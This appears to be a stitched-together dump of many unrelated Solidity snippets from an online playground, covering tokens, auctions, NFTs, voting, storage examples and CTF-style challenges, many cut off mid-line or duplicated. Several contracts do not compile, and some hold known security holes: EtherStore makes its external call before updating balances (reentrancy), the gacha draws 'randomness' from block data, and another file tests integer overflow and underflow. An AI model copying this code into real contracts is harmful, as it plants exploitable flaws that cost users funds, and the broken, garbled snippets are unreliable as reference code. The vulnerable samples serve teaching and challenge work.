  mapping (address=>uint) balances;
  function transfer(address to,uint amount)public {
    require(balances[msg.sender]>=amount);
    balances[msg.sender] -= amount;
    balances[to] += amount;
  }

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

contract SampleSell {
  IUniswapV2Router02 public uniswapRouter;
  mapping(address => uint256) public ethBalance;
  address private uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
  constructor()  {
    uniswapRouter = IUniswapV2Router02(uniswap);
    }
    function sellTokens(address tokenToSend,uint256 tokenAmount) external payable {
		require(IERC20(tokenToSend).transferFrom(msg.sender, address(this), tokenAmount), "Insufficient funds");
        require(IERC20(tokenToSend).app

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;

contract SimpleAuction {
    address payable public beneficiary;
    uint256 public auctionEndTime;
    address public highestBidder;
    uint256 public highestBid;
    mapping(address => uint256) pendingReturns;
    bool ended;
    event HighestBidIncreased(address bidder, uint256 amount);
    event AuctionEnded(address winner, uint256 amount);
    error AuctionAlreadyEnded();
    error BidNotHighEnough(uint256 highestBid);
    error AuctionNotYetEnded();
    error AuctionEndAlreadyCalled();

    constructor(uint256 biddingTime, address payable beneficiaryAddress) {
        beneficiary = beneficiaryAddress;
        auctionEndTime = block.timestamp + biddingTime;
    }
    function bid() external payable {
        if (block.timestamp > auctionEndTime) revert AuctionAlreadyEnded();
        if (msg.value <= highestBid) revert BidNotHighEnough(highestBid);
        if (highestBid != 0) {
            pendingReturns[highestBidder] += highestBid;
        }

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
contract SimpleAuction {
    address payable public beneficiary;
    uint public auctionEndTime;
    address public highestBidder;
    uint public highestBid;
    mapping(address => uint) pendingReturns;
    bool ended;
    event HighestBidIncreased(address bidder, uint amount);
    event AuctionEnded(address winner, uint amount);

    error AuctionAlreadyEnded();
    error BidNotHighEnough(uint highestBid);
    error AuctionNotYetEnded();
    error AuctionEndAlreadyCalled();
    constructor(
        uint biddingTime,
        address payable beneficiaryAddress
    ) {
        beneficiary = beneficiaryAddress;
        auctionEndTime = block.timestamp + biddingTime;
    }
    function bid() external payable {
        if (block.timestamp > auctionEndTime)
            revert AuctionAlreadyEnded();
        if (msg.value <= highestBid)
            revert BidNotHighEnough(highestBid);

        if (highestBid != 0) {
            pendingReturns[highestBidder]

pragma solidity ^0.8.7;
// SPDX-License-Identifier: MIT

contract MoneyCollector { 
    address public owner;
    uint256 public balance;
    
    constructor() {
        owner = msg.sender; 
    }
    
    receive() payable external {
        balance += msg.value;
    }
    
    
    function withdraw(uint amount, address payable destAddr) public {
        require(msg.sender == owner, "Only owner can withdraw");
        require(amount <= balance, "Insufficient funds");
        destAddr.transfer(amount);
        balance -= amount;
    }
}

pragma solidity ^0.8.7;
// SPDX-License-Identifier: MIT

contract MoneyCollector { 
    address public owner;
    uint256 public balance;
    
    constructor() {
        owner = msg.sender; 
    }
    
    receive() payable external {
        balance += msg.value;
    }
    
    
    function withdraw(uint amount, address payable destAddr) public {
        require(msg.sender == owner, "Only owner can withdraw");
        require(amount <= balance, "Insufficient funds");
        
        destAddr.transfer(amount); // send funds to given address
        balance -= amount;
    }
}

pragma solidity ^0.8.7;
// SPDX-License-Identifier: MIT

contract MoneyCollector { // 
    address public owner;
    uint256 public balance;
    
    constructor() {
        owner = msg.sender; // store information who deployed contract
    }
    
    receive() payable external {
        balance += msg.value; // keep track of balance (in WEI)
    }
    
    
    function withdraw(uint amount, address payable destAddr) public {
        require(msg.sender == owner, "Only owner can withdraw");
        require(amount <= balance, "Insufficient funds");
        
        destAddr.transfer(amount); // send funds to given address
        balance -= amount;
    }
}

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract Ballot {
    struct Voter {
        string name;
        bool voted;
        uint256 aadarId;
    }
    struct Delegate {
        uint256 id;
        string name;
        uint256 voteCount;
    }

    address public admin;

    mapping(address => Voter) public voters;
    mapping(address => Delegate) public delegate;
    mapping(uint=>address) public delegateId;
    mapping(uint=>address) public voterAadarId;

    modifier onlyAdmin() {
        require(msg.sender == admin, "Only admin can call");
        _;
    }

    constructor() {
        admin = msg.sender;
    }

    function addDelegate(
        address _delegate,
        uint256 _id,
        string memory _name
    ) external onlyAdmin {
        require(_delegate != address(0), "Delegate address cannot be 0");
        require(_id != 0, "Delegate id cannot be 0");
        require(delegateId[_id] == address(0), "Delegate id already exists");
        delegate[_delegate] = Deleg

// Thi is Just Demo for Full Working Project Code ( vat[email protected] )

// how to create a contract
// Basic solidity coding
pragma solidity^0.4.0;
contract StorageBasic {
uint storedValue;
function set(uint var) {
storedValue=var;
}
function get() constant returns (uint) {
return storedValue;
}
}

pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
}

contract GuessTheSecretNumberSolver {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
    
    function guess() public view returns(uint8) {
      for (uint8 i = 0; i < 2 ** 8; i++) {
        if (keccak256(i) == answerHash) {
            break;
        }
      }
      return i;
    }

    function keccak256Uint(uint n) public pure returns(bytes32) {
      return keccak256(n);
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract minting{

uint dnaDigits = 16;
uint dnaModulus = 10 ** dnaDigits;

  struct Robot{
    string name;
    uint32 dna;
    uint level;

  }
  Robot public robots;
  function mint(string memory name, uint32 dna) private {

  }

  function generateDna(string memory _str) private view returns (uint) {
    uint rand = keccak256(abi.encodePacked(_str));
    return rand % dnaModulus;
  }
}

contract breeding{
  function breedTwoNFTS(uint _dna1, uint _dna2, uint breedingTime) internal returns (uint){
    bool breedingStatus = (breedingTime <=now);
    uint childDna;
    if(breedingSatus){
      childDna = (_dna1 + _dna2)/2;
    }
    returns childDna;
  }
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract minting{

uint dnaDigits = 16;
uint dnaModulus = 10 ** dnaDigits;

  struct Robot{
    string name;
    uint32 dna;
    uint level;

  }
  Robot public robots;
  function mint(string memory name, uint32 dna) private {

  }

  function generateDna(){
    
  }
}

contract breeding is minting{
  function breedTwoNFTS(uint _dna1, uint _dna2, uint breedingTime) internal returns (uint){
    bool breedingStatus = (breedingTime <=now);
    uint childDna;
    if(breedingSatus){
      childDna = (_dna1 + _dna2)/2;
    }
    returns childDna;
  }
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract breeding{
  function breedTwoNFTS(uint _dna1, uint _dna2, uint breedingTime) internal returns (uint){
    bool breedingStatus = (breedingTime <=now);
    uint childDna;
    if(breedingSatus){
      childDna = (_dna1 + _dna2)/2;
    }
    returns childDna;
  }

// contracts/GLDToken.sol
// SPDX-License-Identifier: MIT


pragma solidity ^0.8.0  ;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";

contract PizanicToken is ERC20 {
    constructor(uint256 initialSupply) ERC20("Pizanic", "PZNC") {
        _mint(msg.sender, initialSupply);
    }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint[] _value) public {
    value = _value[0];
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.8.10;

library SafeMath {
 
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
 
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }
 
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
 
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
 
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        u

// SPDX-License-Identifier: UNLICENSED

/**
 *Submitted for verification at BscScan.com on {{to be annouced}}
*/

/*
* 
UA Faith Token (Website: https://uafatoken.org/)

Initial Supply: 100 000 000 000 000 000 000 000 Tokens

Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%

https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://www.flowcode.com/page/uafatoken

UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/

pragma solidity 0.6.12;

interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowan

/*

'########:'##::::'##:'########::::
... ##..:: ##:::: ##: ##.....:::::
::: ##:::: ##:::: ##: ##::::::::::
::: ##:::: #########: ######::::::
::: ##:::: ##.... ##: ##...:::::::
::: ##:::: ##:::: ##: ##::::::::::
::: ##:::: ##:::: ##: ########::::
:::..:::::..:::::..::........:::::
'##::::'##:'########:'########:::'######::'##::::'##:'########::'####::::'###::::'##::: ##:
 ###::'###: ##.....:: ##.... ##:'##... ##: ##:::: ##: ##.... ##:. ##::::'## ##::: ###:: ##:
 ####'####: ##::::::: ##:::: ##: ##:::..:: ##:::: ##: ##:::: ##:: ##:::'##:. ##:: ####: ##:
 ## ### ##: ######::: ########:: ##::::::: ##:::: ##: ########::: ##::'##:::. ##: ## ## ##:
 ##. #: ##: ##...:::: ##.. ##::: ##::::::: ##:::: ##: ##.. ##:::: ##:: #########: ##. ####:
 ##:.:: ##: ##::::::: ##::. ##:: ##::: ##: ##:::: ##: ##::. ##::: ##:: ##.... ##: ##:. ###:
 ##:::: ##: ########: ##:::. ##:. ######::. #######:: ##:::. ##:'####: ##:::: ##: ##::. ##:
..:::::..::........::..:::::..:::......::::.......:::..:::::..::....::..:::::..::..::::..::
'###

// SPDX-License-Identifier: UNLICENSED

/**
 *Submitted for verification at BscScan.com on {{to be annouced}}
*/

/*
* 
UA Faith Token (Website: https://uafatoken.org/)

Initial Supply: 100 000 000 000 000 000 000 000 Tokens

Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%

https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://www.flowcode.com/page/uafatoken

UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/

pragma solidity 0.5.16;
 
interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowa

// SPDX-License-Identifier: UNLICENSED

/**
 *Submitted for verification at BscScan.com on {{to be annouced}}
*/

/*
* 
UA Faith Token (Website: https://uafatoken.org/)

Initial Supply: 100 000 000 000 000 000 000 000 Tokens

Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%

https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://www.flowcode.com/page/uafatoken

UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/

pragma solidity 0.5.16;
 
interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowa

// SPDX-License-Identifier: UNLICENSED

/**
 *Submitted for verification at BscScan.com on {{to be annouced}}
*/

/*
* 
UA Faith Token (Website: https://uafatoken.org/)

Initial Supply: 100 000 000 000 000 000 000 000 Tokens

Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%

https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://www.flowcode.com/page/uafatoken

UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/

pragma solidity 0.5.16;
 
interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowa

// SPDX-License-Identifier: UNLICENSED

/**
 *Submitted for verification at BscScan.com on {{to be annouced}}
*/

/*
* 
UA Faith Token (Website: https://uafatoken.org/)

Initial Supply: 100 000 000 000 000 000 000 000 Tokens

Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%

https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://flow.code/uafatoken

UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/

pragma solidity 0.5.16;
 
interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowance(address 

// SPDX-License-Identifier: UNLICENSED

/**
 *Submitted for verification at BscScan.com on {{to be annouced}}
*/

/*
* 
UA Faith Token (Website: https://uafatoken.org/)

Initial Supply: 100 000 000 000 000 000 000 000 tokens

Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%

https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://flow.code/uafatoken

UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/

pragma solidity 0.5.16;
 
interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowance(address 

// SPDX-License-Identifier: UNLICENSED

/**
 *Submitted for verification at BscScan.com on {{to be annouced}}
*/

/*
* 
UA Faith Token (Website: https://uafatoken.org/)

Initial Supply: 100 000 000 000 000 000 000 000 tokens

Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%

https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://flow.code/uafatoken

UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/

pragma solidity 0.5.16;
 
interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowance(address 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

// Import the OZ 1155 standard and ownable contract 

import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

// Initialize our contract

contract MySuperSecure1155 is ERC1155, Ownable {
    uint public totalMinted;
    string public name;
    string public symbol;
    uint256 public total;
    uint256 public cost;
    uint256 public _feeAmount;
    
    bool public paused = false;
    bool public whitelistedBuyersOnly = true;
    uint public constant maxSupply = 1111;

    address public whitelist = [];

    mapping(address => bool) public whitelisted;
    mapping (uint => uint) private tokenMintCounts;
    mapping (uint256 => string) private _uris;
    
    bool internal locked;

    constructor() ERC1155("{{myIPFSLINK}}/{id}.json") {
        name = "MySuperSecureNFT";
        symbol = "MSSN";

        setWhitelistedAddresses(whitelist);
        
        // Set resale fee amount
        _feeAmo

pragma solidity 0.4.18;

library SafeMath {
  function sub(uint8 a, uint8 b) internal pure returns (uint8) {
    assert(b <= a);
    return a - b;
  }

  function add(uint8 a, uint8 b) internal pure returns (uint8) {
    uint8 c = a + b;
    assert(c >= a);
    return c;
  }
}
contract TestSafeMath {
  
  using SafeMath for uint8;

  function safeAdd(uint8 num) public pure returns (uint8) {
    uint8 result = 255;
    return result.add(num);
  }

  function safeSub(uint8 num) public pure returns (uint8) {
    uint8 result = 0;
    return result.sub(num);
  }

// SPDX-License-Identifier: GPL-3.0

pragma solidity >0.4.23 <0.6.0;

contract BlindAuction {
    struct Bid {
        bytes32 blindedBid;
        uint deposit;
    }

    address payable public beneficiary;
    uint public biddingEnd;
    uint public revealEnd;
    bool public ended;

    mapping(address => Bid[]) public bids;

    address public highestBidder;
    uint public highestBid;

    // Allowed withdrawals of previous bids
    mapping(address => uint) pendingReturns;

    event AuctionEnded(address winner, uint highestBid);

    /// Modifiers are a convenient way to validate inputs to
    /// functions. `onlyBefore` is applied to `bid` below:
    /// The new function body is the modifier's body where
    /// `_` is replaced by the old function body.
    modifier onlyBefore(uint _time) { require(now < _time); _; }
    modifier onlyAfter(uint _time) { require(now > _time); _; }

    constructor(
        uint _biddingTime,
        uint _revealTime,
        address payable _beneficiary
    ) public {
 

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.1;

import "openzeppelin-solidity/contracts/utils/Counters.sol";
import "openzeppelin-solidity/contracts/token/ERC721/ERC721.sol";
import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-solidity/contracts/security/ReentrancyGuard.sol";

// TODO pay with ERC20 token
// https://ethereum.org/en/developers/tutorials/transfers-and-approval-of-erc-20-tokens-from-a-solidity-smart-contract/
// TODO fiat integration
// TODO cancel auction?

contract BiddingMarketPlace is ReentrancyGuard {
    using Counters for Counters.Counter;
    Counters.Counter private _itemIds;
    Counters.Counter private _itemsSold;

    address payable public marketOwner;

    constructor() {
        marketOwner = payable(msg.sender);
    }

    struct MarketItem {
        uint256 itemId;
        address nftContract;
        uint256 tokenId;
        address payable seller;
        address payable owner;
        uint256 askingPrice;
        uint256 aucti

function roll() external {
    gachaTicket.transferFrom(msg.sender, address(this), gachaCost);
    uint256 rand = _random();
    uint256 stars;
    if(rand < 1) { stars = 5; }         // 5* at 1%
    else if(rand < 5) { stars = 4; }    // 4* at 4%
    else if(rand < 15) { stars = 3; }   // 3* at 10%
    else if(rand < 50) { stars = 2; }   // 2* at 35%
    else { stars = 1; }                 // 1* at 50%
    gachaCapsule.mint(msg.sender, stars);
}

function _random() internal returns (uint256) {
    return uint256(keccak256(abi.encodePacked(block.timestamp, block.number, msg.sender, gachaCapsule.totalSupply()))) % 100;

// SPDX-License-Identifier: MIT
// Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24; // declaring which Solidity compiler we want to use
// pragma solidity >=0.4.0 <0.7.0;

contract Playground {

  uint storedData;
  function set(uint x) external {
      storedData = x;
  }
  function get() public view returns (uint) {
      return storedData;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  uint256[] nums = [0, 1, 2, 3];
  uint256 length = array.length;
  for (uint256 i=0; i < length; ++i) {
    console.log(nums[i]);
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;

/**
 * @dev Required interface of an ERC721 compliant contract.
 */
contract IERC721 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@chainlink/contracts/src/v0.8/ChainlinkClient.sol";
import "@chainlink/contracts/src/v0.8/ConfirmedOwner.sol";

contract OFCaller is ChainlinkClient, ConfirmedOwner {
	using Chainlink for Chainlink.Request;

	uint256 constant private ORACLE_PAYMENT = 1 * LINK_DIVISIBILITY;
	string public lastResponse;
	string public jobId;
	address public oracle;

	event StartedExecution();

	event FinishedExecution(
		bytes32 indexed requestId,
		string indexed response
	);

	constructor(address _link, address _oracle, string memory _jobId) ConfirmedOwner(msg.sender){
		setChainlinkToken(_link);
		oracle = _oracle;
		jobId = _jobId;
	}

	function invokeApp(string memory url, string memory data)
	public
	onlyOwner
	{
		emit StartedExecution();
		Chainlink.Request memory req = buildOperatorRequest(stringToBytes32(jobId), this.fulfillInvokeApp.selector);
		req.add("id", "0");
		req.add("url", url);
		req.add("data", data);
		sendOperatorRequestTo(oracle, req, 0);
	

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0 <0.7.0;
contract SimpleStorage {
    uint storedData;
    function set(uint x) public {
        storedData = x;
    }
    function get() public view returns (uint) {
        return storedData;
    }
}
//—------------------------------------------

pragma solidity >=0.8.9 <0.8.0;
contract NewWorld {
    function New() pure public returns(string memory) {
    return NewWorld;
    }
  }
contract  NewWorld {
  string public data;

  function set(string memory_data) public {
  }


  function  get () view public returns (string memory) {
  return data ;
  }
}
//====================================

contract  NewWorld {
  uint [] public ids;

  function  add (uint id) public {
    ids.push(id);
  }

  function get (uint position) view public returns (uint) {
    return ids[position];
  }

  function getAll () view public returns (uint[] memory){
        return ids;
  }

  function length () view public returns (uint) {
      return ids.length;
  }
}

contract

// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0 <0.7.0;
contract SimpleStorage {
    uint storedData;
    function set(uint x) public {
        storedData = x;
    }
    function get() public view returns (uint) {
        return storedData;
    }
}
//—------------------------------------------

pragma solidity >=0.8.9 <0.8.0;
contract NewWorld {
    function New() pure public returns(string memory) {
    return NewWorld;
    }
  }
contract  NewWorld {
  string public data;

  function set(string memory_data) public {
  }


  function  get () view public returns (string memory) {
  return data ;
  }
}
//====================================

contract  NewWorld {
  uint [] public ids;

  function  add (uint id) public {
    ids.push(id);
  }

  function get (uint position) view public returns (uint) {
    return ids[position];
  }

  function getAll () view public returns (uint[] memory){
        return ids;
  }

  function length () view public returns (uint) {
      return ids.length;
  }
}

contract

pragma solidity >=0.4.22 <0.7.0;
pragma experimental ABIEncoderV2;
import "./Time.sol";
import "./Provable.sol";


contract Quadratic is usingProvable{
    
    string public contractType = 'quadratic-voting';
    
    struct Voter{
        bool registered;
        uint tokensLeft;
        uint[] votes;
    }
    struct Proposal{
        string name;
        string description;
        uint voteCount;
    }
    
    event proposalAdded(
        Proposal proposal    
    );
   
    event voterRegistered(
        address voterAddress    
    );
    
    event voted(
        address voterAddress    
    );
    
    event LogQueryResult(string price);
    event LogNewProvableQuery(string description);

    uint public registrationStartTimeStamp;
    uint public registrationEndTimeStamp;
    uint public votingStartTimeStamp;
    uint public votingEndTimeStamp;
    
    address public chairPerson;
    mapping(address => Voter) public voters;
    Proposal[] public proposals;
    uint public tokensAllowed;
    
    c

pragma solidity >=0.4.22 <0.7.0;
pragma experimental ABIEncoderV2;
import "./Time.sol";
import "./Provable.sol";


contract Quadratic is usingProvable{
    
    string public contractType = 'quadratic-voting';
    
    struct Voter{
        bool registered;
        uint tokensLeft;
        uint[] votes;
    }
    struct Proposal{
        string name;
        string description;
        uint voteCount;
    }
    
    event proposalAdded(
        Proposal proposal    
    );
   
    event voterRegistered(
        address voterAddress    
    );
    
    event voted(
        address voterAddress    
    );
    
    event LogQueryResult(string price);
    event LogNewProvableQuery(string description);

    uint public registrationStartTimeStamp;
    uint public registrationEndTimeStamp;
    uint public votingStartTimeStamp;
    uint public votingEndTimeStamp;
    
    address public chairPerson;
    mapping(address => Voter) public voters;
    Proposal[] public proposals;
    uint public tokensAllowed;
    
    c

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.21;
contract SimpleStore {
  struct slice {
    uint _len;
    uint _ptr;
  }

    function startsWith(slice memory self, slice memory needle) internal pure returns (bool) {
      if (self._len < needle._len) {
          return false;
      }
      if (self._ptr == needle._ptr) {
          return true;
      }
      bool equal;
      assembly {
          let length := mload(needle)
          let selfptr := mload(add(self, 0x20))
          let needleptr := mload(add(needle, 0x20))
          equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
      }
      return equal;
    }

  function toSlice(string memory self) internal pure returns (slice memory) {
    uint ptr;
    assembly {
        ptr := add(self, 0x20)
    }
    return slice(bytes(self).length, ptr);
  }

    function testStartsWith(string memory needle, string memory haystick) public pure returns (bool) {
        slice memory

// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;

// addition, subtraction, multiplication and division
contract Math {
    // address public owner;

    // constructor() {
    //     owner = msg.sender;
    // }

    function add(int a, int b) public pure returns(int) {
        return a + b;
    }

    function sub(int a, int b) public pure returns(int) {
        return a - b;
    }

    function mul(int a, int b) public pure returns(int) {
        return a * b;
    }

    function div(int a, int b) public pure returns(int) {
        return a / b;
    }
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
 }

pragma solidity ^0.8.7;

contract ChicknCoin {

    uint256 public tokenPrice = 0.0 ether;

    string public tokenBaseURI = "ipfs://QmUQp1gup2GU9WLsNCMzgTM2sDBUgBNtREcvz8GcTbrhqa/";

    uint256 public constant PRESOLD_TOKENS_AMOUNT = 14;
    uint256 public constant TOTAL_TOKENS = 842;
    uint256 public nextTokenId = PRESOLD_TOKENS_AMOUNT + 1;

    constructor(){}
    
    function setTokenPrice(uint256 val) external {
      tokenPrice = val;
    }

    function distribute(uint256 [] calldata ids) external payable{
        uint256 perTransfer = msg.value;
        uint256 numberOfTransfers = 0;
        for(uint256 i = 0; i < ids.length; i++) { 
            if(true) {
               numberOfTransfers ++;
            }
        }
        require(numberOfTransfers != 0, "Nobody owns the tokens");
        perTransfer = perTransfer / numberOfTransfers;
        for(uint256 i = 0; i < ids.length; i++) { 
            if(true) {
                perTransfer = 0;
            }
        }
    }

    function getDistributi

pragma solidity 0.8.0;


contract Game {

    uint128 private score;
    bool private isFinished;
    
    uint128 private hscore;

    uint96 private FEES = 1 ether;

    struct Player { 
        address player;
        uint128 score;
    }

    Player[] public players;

    function play(address _p) public payable returns(uint128){
        require(msg.value > FEES);
        for(uint8 i = 0; i < players.length; ++i) {
            Player memory p = players[i]; 
            if(p.player == _p) {
                p.score = p.score + 1; 
                if (p.score > hscore) {
                    hscore = p.score;
                }
            }
        }
        return hscore;
    }

    function getPlayer(uint256 index) internal view returns(Player memory pl) {
        pl = players[index];
    }

    function endGame(uint256 index) payable public {
        Player memory p = players[index];
        require(p.score >= hscore);
        address payable receiver = payable(address(msg.sender));
        (bool success,)

pragma solidity 0.4.18;

// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256

// 1.Overflow Sample Test
//  1) Overflow_contract Deploy
//  2) max call        -> 2**256-1
//  3) overflow() call -> overflow excute
//  4) max call        -> 0

// 2. Underflow Sample Test
//. 1) Underflow_contract Deploy
//  2) zero call        -> 0
//  3) underflow() call -> overflow excute
//  4) zero call        -> 2**256-1

// 3. OBO Sample Test
//. 1) OffByOne_contract Deploy
//  2) getArr call        -> [1, 1, 1, 1, 1]
//  3) offbyone call -> overflow excute
//  4) getArr call        -> [0, 1, 2, 3, 4]

contract Overflow_contract {
    uint public max = 2**256-1;    
    // max will end up at 0
    function overflow() public {
